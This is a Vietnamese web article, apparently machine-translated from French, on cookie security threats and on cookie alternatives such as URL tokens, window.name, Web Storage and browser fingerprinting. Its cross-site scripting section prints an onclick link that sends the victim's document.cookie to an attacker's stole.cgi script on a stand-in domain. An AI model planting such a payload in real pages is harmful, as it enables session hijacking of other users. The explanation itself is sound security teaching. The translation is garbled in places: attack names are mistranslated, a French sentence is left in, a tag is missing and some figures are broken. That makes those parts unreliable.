Tập lệnh trong trang web: một cookie chỉ nên được trao đổi giữa máy chủ và máy khách được gửi đến một bên thứ ba khác.

Một cách khác để đánh cắp cookie là tạo các trang web script và để trình duyệt tự gửi cookie đến các máy chủ độc hại không bao giờ nhận được chúng. Các trình duyệt hiện đại cho phép thực thi các phần mã được tìm kiếm từ máy chủ. Nếu cookie được truy cập trong thời gian chạy, các giá trị của chúng có thể được truyền đạt dưới một số hình thức tới các máy chủ không nên truy cập chúng. Mã hóa cookie trước khi chúng được gửi qua mạng không giúp ngăn chặn cuộc tấn công.

Loại tập lệnh tại chỗ này thường được những kẻ tấn công sử dụng trên các trang web cho phép người dùng đăng nội dung HTML. Bằng cách tích hợp một phần mã tương thích trong phần đóng góp HTML, kẻ tấn công có thể nhận cookie từ những người dùng khác. Kiến thức về những cookie này có thể được sử dụng bằng cách kết nối với cùng một trang web bằng cookie bị đánh cắp, do đó được công nhận là người dùng có cookie bị đánh cắp.

Một cách để ngăn chặn các cuộc tấn công như vậy là sử dụng cờ HttpOnly; nó là một tùy chọn, được giới thiệu kể từ phiên bản 6 của Internet Explorer trong PHP kể từ phiên bản 5.2.0, được lên kế hoạch để làm cho máy khách gần với tập lệnh không thể truy cập cookie. Tuy nhiên, các nhà phát triển web nên tính đến điều này khi phát triển trang web của họ để họ không bị ảnh hưởng bởi tập lệnh trong trang web.

Một mối đe dọa bảo mật khác được sử dụng là chế tạo nhu cầu trong trang web.

Thông số kỹ thuật chính thức cho phép cookie chỉ được gửi lại cho các máy chủ trong miền mà chúng bắt nguồn từ đó. Tuy nhiên, giá trị của cookie có thể được gửi đến các máy chủ khác bằng các phương tiện khác ngoài tiêu đề cookie.

Đặc biệt, các ngôn ngữ kịch bản như JavaScript nói chung được phép truy cập các giá trị cookie và có khả năng gửi các giá trị tùy ý tới bất kỳ máy chủ nào trên Internet. Khả năng tạo tập lệnh này được sử dụng từ các trang web cho phép người dùng đăng nội dung HTML để người dùng khác xem.

Ví dụ: kẻ tấn công hoạt động trên miền example.com có ​​thể đăng nhận xét chứa liên kết sau trỏ đến một blog phổ biến mà chúng không kiểm soát:

<a href="#" onclick="window.location = 'http://exemple.com/stole.cgi?text=' + escape(document.cookie); return false;">Cliquez ici !</a>

Khi một người dùng khác nhấp vào liên kết này, trình duyệt sẽ thực thi phần thuộc tính onclick của mã, do đó, nó sẽ thay thế chuỗi document.cookie bằng danh sách cookie của người dùng đang hoạt động cho trang này. Do đó, danh sách cookie này được gửi đến máy chủ example.com và do đó, kẻ tấn công có thể thu thập cookie của người dùng này.

Kiểu tấn công này rất khó phát hiện ở phía người dùng vì tập lệnh đến từ cùng một miền đã đặt cookie và hoạt động gửi các giá trị dường như được ủy quyền bởi miền đó. Người ta cho rằng trách nhiệm của các quản trị viên điều hành loại trang web này là đưa ra các hạn chế ngăn chặn việc xuất bản mã độc hại.

Cookie không hiển thị trực tiếp với các chương trình phía máy khách như JavaScript nếu chúng được gửi cùng với cờ HttpOnly. Từ quan điểm của máy chủ, điểm khác biệt duy nhất là trong dòng của tiêu đề Set-Cookie, có thêm một trường mới chứa chuỗi HttpOnly:

Set-Cookie: RMID=732423sdfs73242; expires=Fri, 31-Dec-2010 23:59:59 GMT; path=/; domain=.exemple.net; HttpOnly

Khi trình duyệt nhận được một cookie như vậy, nó sẽ sử dụng nó một cách bình thường trong quá trình trao đổi HTTP tiếp theo, nhưng không làm cho nó hiển thị đối với các tập lệnh được thực thi ở phía máy khách. Cờ HttpOnly không phải là một phần của bất kỳ thông số kỹ thuật chính thức nào và không được triển khai trong tất cả các trình duyệt. Lưu ý rằng hiện tại không có cách nào ngăn việc đọc và ghi cookie phiên bằng phương pháp XMLHTTPRequest.

Sửa đổi nội dung: kẻ tấn công gửi cookie không hợp lệ đến máy chủ, có thể được tạo từ cookie hợp lệ do máy chủ gửi.

Ngay khi các cookie cần được lưu trữ và trả về máy chủ không thay đổi, kẻ tấn công có thể sửa đổi giá trị của các cookie trước khi chúng được gửi trở lại máy chủ. Ví dụ: nếu cookie chứa tổng giá trị mà người dùng phải trả cho các mặt hàng được đặt trong giỏ hàng của cửa hàng, việc thay đổi giá trị này sẽ khiến máy chủ có nguy cơ tính phí kẻ tấn công thấp hơn giá khởi điểm. Quá trình sửa đổi giá trị của cookie được gọi là ngộ độc bánh quy và có thể được sử dụng sau khi đánh cắp cookie để làm cho cuộc tấn công diễn ra liên tục.

Trong phương thức ghi đè cookie, kẻ tấn công khai thác trục trặc của trình duyệt để gửi cookie không hợp lệ đến máy chủ.

Tuy nhiên, hầu hết các trang web chỉ lưu trữ ID phiên — một số duy nhất được tạo ngẫu nhiên được sử dụng để xác định người dùng phiên — trong chính cookie, trong khi tất cả thông tin khác được lưu trữ trên máy chủ. Trong trường hợp này, vấn đề này phần lớn được giải quyết.

Mỗi trang web dự kiến ​​sẽ có cookie riêng, vì vậy một trang web sẽ không thể sửa đổi hoặc tạo cookie được liên kết với một trang web khác. Một lỗ hổng bảo mật của trình duyệt web có thể cho phép các trang web độc hại phá vỡ quy tắc này. Việc khai thác một lỗ hổng như vậy thường được gọi là nấu ăn xuyên địa điểm. Mục đích của các cuộc tấn công như vậy có thể là đánh cắp ID phiên.

Người dùng nên sử dụng các phiên bản mới nhất của trình duyệt web mà các lỗ hổng này hầu như đã được loại bỏ.

Trạng thái xung đột giữa máy khách và máy chủ

Việc sử dụng cookie có thể tạo ra mâu thuẫn giữa trạng thái của máy khách và trạng thái được lưu trữ trong cookie. Nếu người dùng lấy cookie và nhấp vào nút "Quay lại" của trình duyệt, trạng thái của trình duyệt thường không giống như trước khi mua lại. Ví dụ: nếu giỏ của cửa hàng trực tuyến được tạo bằng cookie, nội dung của giỏ không thể thay đổi khi người dùng quay lại lịch sử trình duyệt: nếu người dùng nhấn nút để thêm bài viết vào giỏ của mình và nhấp vào nút "Quay lại ", bài viết vẫn còn trong nút này. Đây có thể không phải là ý định của người dùng, người chắc chắn muốn hủy bỏ việc bổ sung bài viết. Điều này có thể dẫn đến sự không đáng tin cậy, nhầm lẫn và lỗi. Vì vậy, các nhà phát triển web nên nhận thức được vấn đề này và thực hiện các biện pháp để xử lý các tình huống như thế này.

Các cookie liên tục đã bị các chuyên gia bảo mật quyền riêng tư chỉ trích vì không được thiết lập để hết hạn sớm, do đó cho phép các trang web theo dõi người dùng và xây dựng hồ sơ của họ theo thời gian. Khía cạnh này của cookie cũng là một phần của vấn đề chiếm quyền điều khiển phiên, vì cookie liên tục bị đánh cắp có thể được sử dụng để mạo danh người dùng trong một khoảng thời gian đáng kể.

Đọc cũng: GAFAM: Họ là ai? Tại sao chúng (đôi khi) lại đáng sợ như vậy?

Các lựa chọn thay thế cho cookie

Một số thao tác có thể được thực hiện bằng cookie cũng có thể được thực hiện bằng các cơ chế khác cho phép loại bỏ cookie hoặc tạo lại cookie đã xóa, điều này tạo ra các vấn đề về quyền riêng tư theo cách tương tự (hoặc đôi khi tệ hơn vì sau đó ẩn) so với cookie..

Địa chỉ iP

Người dùng có thể được theo dõi bằng địa chỉ IP của máy tính gọi trang. Kỹ thuật này đã có kể từ khi World Wide Web ra đời, khi các trang được tải xuống, máy chủ sẽ yêu cầu địa chỉ IP của máy tính chạy trình duyệt hoặc proxy, nếu không có địa chỉ nào được sử dụng. Máy chủ có thể theo dõi thông tin này cho dù có sử dụng cookie hay không. Tuy nhiên, những địa chỉ này thường kém tin cậy hơn trong việc xác định người dùng so với cookie vì máy tính và proxy có thể được chia sẻ bởi nhiều người dùng và cùng một máy tính có thể nhận được một địa chỉ IP khác nhau trong mỗi phiên làm việc (chẳng hạn như trường hợp c thường xảy ra đối với kết nối điện thoại) .

Theo dõi theo địa chỉ IP có thể đáng tin cậy trong một số trường hợp, chẳng hạn như các kết nối băng thông rộng duy trì cùng một địa chỉ IP trong một thời gian dài, miễn là bật nguồn.

Một số hệ thống như Tor được thiết kế để duy trì tính ẩn danh của Internet và khiến việc theo dõi bằng địa chỉ IP là không thể hoặc không thực tế.

URL

Một kỹ thuật chính xác hơn dựa trên việc nhúng thông tin vào các URL. Phần chuỗi truy vấn của URL là một kỹ thuật thường được sử dụng cho mục đích này, nhưng cũng có thể sử dụng các phần khác. Cả máy chủ Java và cơ chế phiên PHP đều sử dụng phương pháp này nếu cookie không được bật.

Phương pháp này liên quan đến việc máy chủ web nối thêm các yêu cầu chuỗi vào các liên kết của trang web mang nó khi nó được gửi đến trình duyệt. Khi người dùng nhấp vào một liên kết, trình duyệt sẽ trả về chuỗi truy vấn đính kèm cho máy chủ.

Chuỗi truy vấn được sử dụng cho mục đích này và cookie rất giống nhau, cả hai đều là thông tin do máy chủ chọn tùy ý và được trình duyệt trả về. Tuy nhiên, có một số điểm khác biệt: khi một URL chứa chuỗi truy vấn được sử dụng lại, thông tin tương tự sẽ được gửi đến máy chủ. Ví dụ: nếu tùy chọn của người dùng được mã hóa trong chuỗi truy vấn của URL và người dùng gửi URL đó cho người dùng khác qua email, thì người dùng đó cũng sẽ có thể sử dụng các tùy chọn đó.

Mặt khác, khi người dùng truy cập cùng một trang hai lần, không có gì đảm bảo rằng cùng một chuỗi truy vấn sẽ được sử dụng cả hai lần. Ví dụ: nếu người dùng truy cập vào một trang từ trang nội bộ lần đầu tiên và truy cập vào cùng một trang từ trang bên ngoài lần thứ hai, thì chuỗi truy vấn liên quan đến trang của trang web thường khác, trong khi cookie giống nhau .

Các nhược điểm khác của chuỗi truy vấn có liên quan đến bảo mật: việc giữ dữ liệu xác định phiên trong chuỗi truy vấn cho phép hoặc đơn giản hóa các cuộc tấn công cố định phiên, tấn công tham chiếu mã định danh và các cách khai thác khác. Chuyển ID phiên dưới dạng cookie HTTP sẽ an toàn hơn.

Trường biểu mẫu ẩn

Một hình thức theo dõi phiên, được sử dụng bởi ASP.NET, là sử dụng các biểu mẫu web có các trường ẩn. Kỹ thuật này rất giống với việc sử dụng các chuỗi truy vấn URL để mang thông tin và có những ưu điểm và nhược điểm giống nhau; và nếu biểu mẫu được xử lý bằng phương thức HTTP GET, thì các trường thực sự trở thành một phần của URL của trình duyệt sẽ gửi nó khi gửi biểu mẫu. Nhưng hầu hết các biểu mẫu được xử lý bằng HTTP POST, điều này làm cho thông tin biểu mẫu, bao gồm các trường ẩn, được thêm vào dưới dạng đầu vào bổ sung không phải là một phần của URL cũng như cookie.

Cách tiếp cận này có hai ưu điểm từ góc độ theo dõi: thứ nhất, theo dõi thông tin được đặt trong mã nguồn HTML và đầu vào POST thay vì URL sẽ cho phép người dùng bình thường tránh được việc theo dõi này; thứ hai, thông tin phiên không được sao chép khi người dùng sao chép URL (ví dụ: để lưu trang vào đĩa hoặc gửi qua email).

cửa sổ.name

Tất cả các trình duyệt web phổ biến có thể lưu trữ một lượng dữ liệu khá lớn (2MB đến 32MB) thông qua JavaScript bằng cách sử dụng thuộc tính window.name của DOM. Dữ liệu này có thể được sử dụng thay cho cookie phiên và cũng được sử dụng trên các miền. Kỹ thuật này có thể được kết hợp với các đối tượng JSON để lưu trữ một tập hợp phức tạp các biến phiên phía máy khách.

Nhược điểm là mỗi cửa sổ hoặc tab riêng biệt ban đầu sẽ có một window.name trống; khi duyệt theo tab (do người dùng mở), điều này có nghĩa là các tab được mở riêng lẻ sẽ không có tên cửa sổ. Ngoài ra, window.name có thể được sử dụng để theo dõi khách truy cập trên các trang web khác nhau có thể gây lo ngại về quyền riêng tư.

Ở một số khía cạnh, điều này có thể an toàn hơn cookie, do không có sự tham gia của máy chủ, do đó khiến nó trở nên bất khả xâm phạm trước cuộc tấn công mạng của cookie trình thám thính. Tuy nhiên, nếu các biện pháp đặc biệt được thực hiện để bảo vệ dữ liệu, nó sẽ dễ bị tấn công hơn nữa vì dữ liệu có sẵn thông qua các trang web khác được mở trong cùng một cửa sổ.

xác thực HTTP

Giao thức HTTP bao gồm các giao thức xác thực quyền truy cập cơ bản và bản tóm tắt xác thực quyền truy cập, giao thức này cho phép truy cập vào một trang web chỉ khi người dùng đã cung cấp tên người dùng và mật khẩu được. Nếu máy chủ yêu cầu chứng chỉ để cấp quyền truy cập vào một trang web, thì trình duyệt sẽ yêu cầu chứng chỉ đó từ người dùng và sau khi nhận được, trình duyệt sẽ lưu trữ và gửi chứng chỉ đó trong tất cả các yêu cầu HTTP tiếp theo. Thông tin này có thể được sử dụng để theo dõi người dùng.

Đối tượng chia sẻ cục bộ

Nếu một trình duyệt bao gồm plugin Adobe Flash Player, đối tượng chia sẻ cục bộ có thể được sử dụng cho mục đích tương tự như cookie. Chúng có thể là một lựa chọn hấp dẫn cho các nhà phát triển web vì:

  • giới hạn kích thước mặc định cho một đối tượng được chia sẻ cục bộ là 100 KB;
  • kiểm tra bảo mật tách biệt với kiểm tra cookie của người dùng (vì vậy có thể cho phép các đối tượng dùng chung cục bộ khi không có cookie).

Điểm cuối cùng này, giúp phân biệt chính sách quản lý cookie với chính sách của các đối tượng chia sẻ cục bộ của Adobe Nêu câu hỏi liên quan đến việc người dùng quản lý cài đặt quyền riêng tư của mình: anh ta phải biết rằng việc quản lý cookie của anh ta không ảnh hưởng đến việc quản lý các đối tượng được chia sẻ cục bộ và ngược lại.

Một lời chỉ trích khác đối với hệ thống này là nó chỉ có thể được sử dụng thông qua plugin Adobe Flash Player, plugin độc quyền và không phải là tiêu chuẩn web.

Sự kiên trì phía khách hàng

Một số trình duyệt web hỗ trợ cơ chế duy trì dựa trên tập lệnh, cho phép trang lưu trữ thông tin cục bộ để sử dụng sau này. Ví dụ: Internet Explorer hỗ trợ thông tin liên tục trong lịch sử trình duyệt, dấu trang, ở định dạng được lưu trữ trong XML hoặc trực tiếp với trang web được lưu vào đĩa. Đối với Microsoft Internet Explorer 5, có một phương pháp dữ liệu người dùng có sẵn thông qua các hành vi DHTML.

W3C đã giới thiệu trong HTML 5 một API JavaScript mới để lưu trữ dữ liệu phía máy khách có tên là Lưu trữ web và nhằm mục đích thay thế vĩnh viễn cookie. Nó tương tự như cookie nhưng với dung lượng được cải thiện rất nhiều và không lưu trữ thông tin trong phần đầu của các yêu cầu HTTP. API cho phép hai loại lưu trữ web: lưu trữ cục bộ và lưu trữ phiên, tương tự như cookie liên tục và cookie phiên (ngoại trừ cookie phiên hết hạn khi đóng trình duyệt trong khi nơi lưu trữ phiên hết hạn khi đóng tab), tương ứng. Lưu trữ web được hỗ trợ bởi Mozilla Firefox 3.5, Google Chrome 5, Apple Safari 4, Microsoft Internet Explorer 8 và Opera 10.50.

Một cơ chế khác thường dựa vào bộ nhớ đệm của trình duyệt (trong bộ nhớ thay vì làm mới) bằng các chương trình JavaScript trong các trang web. 

Ví dụ: một trang có thể chứa thẻ . La première fois que la page se charge, le programme exemple.js est aussi chargé. 

Tại thời điểm này, chương trình vẫn còn trong bộ nhớ cache và trang đã truy cập không được tải lại lần thứ hai. Do đó, nếu chương trình chứa một biến toàn cục (ví dụ var id = 3243242;), mã định danh này vẫn hợp lệ và có thể bị khai thác bởi mã JavaScript khác sau khi trang được tải lại hoặc sau khi trang liên kết chương trình được tải. 

Nhược điểm chính của phương pháp này là biến toàn cục JavaScript phải tĩnh, nghĩa là nó không thể thay đổi hoặc xóa như cookie.

vân tay trình duyệt web

Dấu vân tay trình duyệt là thông tin được thu thập về cài đặt cấu hình của trình duyệt cho mục đích nhận dạng. Những dấu vân tay này có thể được sử dụng để nhận dạng đầy đủ hoặc một phần người dùng Internet hoặc thiết bị ngay cả khi cookie bị tắt.

Thông tin cấu hình trình duyệt web cơ bản từ lâu đã được các dịch vụ đối tượng trang web thu thập nhằm mục đích đo lường chính xác lưu lượng truy cập web của con người và phát hiện các hình thức gian lận nhấp chuột khác nhau. Với sự trợ giúp của các ngôn ngữ kịch bản phía máy khách, việc thu thập thông tin chính xác hơn nhiều bây giờ có thể.

Việc chuyển đổi thông tin này thành chuỗi bit sẽ tạo ra dấu vân tay của thiết bị. Vào năm 2010, Electronic Frontier Foundation (EFF) đã đo entropy của dấu vân tay của trình duyệt ít nhất là 18,1 bitvà đó là trước khi những tiến bộ trong dấu vân tay canvas đã thêm 5,7 bit vào entropy đó.

Cookie một cách ngắn gọn

Cookie là các tệp văn bản nhỏ được trình duyệt web lưu trữ trên ổ cứng của khách truy cập trang web và được sử dụng (trong số những thứ khác) để ghi lại thông tin về khách truy cập hoặc hành trình của họ qua trang web. Do đó, quản trị viên web có thể nhận ra thói quen của khách truy cập và cá nhân hóa cách trình bày trang web của mình cho từng khách truy cập; sau đó, cookie giúp có thể nhớ có bao nhiêu bài viết sẽ hiển thị trên trang chủ hoặc thậm chí giữ lại thông tin đăng nhập cho bất kỳ bên tư nhân nào: khi khách truy cập quay lại trang web, anh ta không cần phải nhập tên và mật khẩu của mình nữa để được nhận dạng, vì chúng được tự động đọc trong cookie.

Cookie có thời hạn sử dụng hạn chế, do người thiết kế trang web đặt. Chúng cũng có thể hết hạn vào cuối phiên trên trang web, tương ứng với việc đóng trình duyệt. Cookie được sử dụng rộng rãi để làm cho cuộc sống của khách truy cập dễ dàng hơn và cung cấp cho họ thông tin phù hợp hơn. Nhưng các kỹ thuật đặc biệt giúp có thể theo dõi một khách truy cập trên một số trang web và do đó thu thập và kiểm tra chéo thông tin rất rộng về thói quen của anh ta. Phương pháp này đã khiến việc sử dụng cookie mang tiếng là một kỹ thuật giám sát vi phạm quyền riêng tư của khách truy cập, điều này không may lại phù hợp với thực tế trong nhiều trường hợp sử dụng vì lý do phi kỹ thuật hoặc không tôn trọng kỳ vọng của người dùng. .

Để đối phó với những lo ngại chính đáng này, HTML 5 giới thiệu API JavaScript mới để lưu trữ dữ liệu phía máy khách có tên là Lưu trữ web, an toàn hơn nhiều và có dung lượng lớn hơn, nhằm mục đích thay thế cookie.

Lưu trữ cookie

Với một số trình duyệt, cookie có thể dễ dàng chỉnh sửa, một trình soạn thảo văn bản đơn giản như Notepad là đủ để thay đổi giá trị của nó theo cách thủ công.

Cookie được lưu khác nhau tùy thuộc vào trình duyệt:

  • Microsoft Internet Explorer lưu từng cookie trong một tệp khác nhau;
  • Mozilla Firefox lưu tất cả các cookie của nó trong một tệp duy nhất;
  • Opera lưu tất cả các cookie của nó trong một tệp duy nhất và mã hóa chúng (không thể sửa đổi chúng ngoại trừ trong các tùy chọn phần mềm);
  • Apple Safari lưu tất cả các cookie của nó trong một tệp mở rộng .plist duy nhất. Có thể sửa đổi nhưng không dễ dàng lắm, trừ khi bạn xem qua các tùy chọn phần mềm.

Trình duyệt được yêu cầu để hỗ trợ một cực tiểu :

  • 300 cookie đồng thời;
  • 4 o mỗi cookie;
  • 20 cookie trên mỗi máy chủ hoặc tên miền.
[Toàn bộ: 0 Bần tiện: 0]

Được viết bởi Người chỉnh sửa bài đánh giá

Đội ngũ biên tập viên chuyên nghiệp dành thời gian nghiên cứu sản phẩm, thực hiện các thử nghiệm thực tế, phỏng vấn các chuyên gia trong ngành, xem xét đánh giá của người tiêu dùng và viết tất cả kết quả của chúng tôi dưới dạng tóm tắt dễ hiểu và toàn diện.

Để lại một bình luận

Địa chỉ email của bạn sẽ không được công bố. Các trường bắt buộc được đánh dấu *

Bạn nghĩ gì?

384 Điểm
Upvote Downvote